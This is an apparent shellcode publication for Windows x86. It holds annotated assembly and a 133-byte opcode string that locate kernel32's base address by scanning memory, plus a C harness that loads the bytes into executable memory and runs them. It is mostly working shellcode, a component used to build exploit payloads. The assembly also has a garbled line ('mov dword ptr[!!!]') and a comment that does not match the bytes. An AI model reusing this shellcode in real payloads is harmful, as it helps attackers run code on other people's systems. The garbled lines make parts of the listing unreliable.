; Shellcode Title: Windows/x86 - Locate kernel32 base address / Memory Sieve method Shellcode (133 bytes) ; Description: ; This shellcode is a new method to find kernel32 base address by parsing .text section of memory to find a pointer to kernel32 API. ; Date: 1/26/2022 ; Shellcode Author: Tarek Ahmed ; Tested on: Microsoft Windows 7, and 10 /* MIT License Copyright (c) 2022 Tarek Ahmed Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. xor eax, eax cdq pop eax ; get the return address of .text section where the call of exec happened. push eax sub esp, 0x8 ; Reserve space on stack for variables xor ecx, ecx checkFirstByte: ; This will start finding the first two bytes of the instruction mov dword ptr[!!!] inc ecx mov edx, dword ptr[eax+ecx] cmp dl, 0xff jne checkFirstByte cmp byte ptr[eax+ecx+1], 0x15 jne checkFirstByte jmp foundByte foundByte: mov bl, byte ptr [eax+ecx+5] cmp bl, 0 ; make sure we don't step on next instruction je foundPtr jmp checkFirstByte foundPtr: xor ebx, ebx mov ebx, dword ptr[eax + ecx + 2] mov edi, [ebx] shr edi, 28 ; We found pointer to an api, check if it start with 7 e.g. 0x7000000 cmp edi, 7 je foundPossibleAddr ; If it starts with 7, then we have a possible kernel32 address jmp checkFirstByte foundPossibleAddr: mov ebx, [ebx] xor edx, edx mov dx, 0x1001 add edx, 0xefff findMZ: sub ebx, edx ; we need to subtract 0x10000 to get the base mov bx, dx mov ax, [ebx] cmp ax, 0x5a4d ; Check if it's a PE file which starts with "MZ" jne findMZ ; If not, then subtract 0x10000 again to go one more page down. mov edi, [ebx + 0x3c] ; Finally we found a possible DLL file, we need to parse it now. add edi, ebx mov edi, [edi + 0x78] add edi, ebx mov edi, [edi + 0xc] add edi, ebx add edi, 4 xor eax, eax push eax push 0x6c6c642e ; .dll push 0x32334c45 ; ELE32 mov esi, esp ; We don't need the whole name, just ELE32.dll checkKernel : mov edx, ecx mov ecx, 8 cld repe cmpsb cmp ecx, 0 jne checkFirstByte ; If we pass this check then we found our kernel32 base */ #include #include #include #include unsigned char code[] = "\x31\xC0\x99\x58\x50\x83\xEC\x08\x31\xC9\x41\x8B\x14\x08\x80\xFA\xFF\x75\xF7\x80\x7C\x08\x01\x15\x75\xF0\xEB\x00\x8A\x5C\x08\x05\x80\xFB\x00\x74\x02\xEB\xE3\x31\xDB\x8B\x5C\x08\x02\x8B\x3B\xC1\xEF\x1C\x83\xFF\x07\x74\x02\xEB\xD1\x8B\x1B\x31\xD2\x66\xBA\x01\x10\x81\xC2\xFF\xEF\x00\x00\x29\xD3\x66\x89\xD3\x66\x8B\x03\x66\x3D\x4D\x5A\x75\xF2\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB9\x08\x00\x00\x00\xFC\xF3\xA6\x83\xF9\x00\x75\x85"; int main() { void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, code, sizeof(code)); ((void(*)())exec)(); return 0; }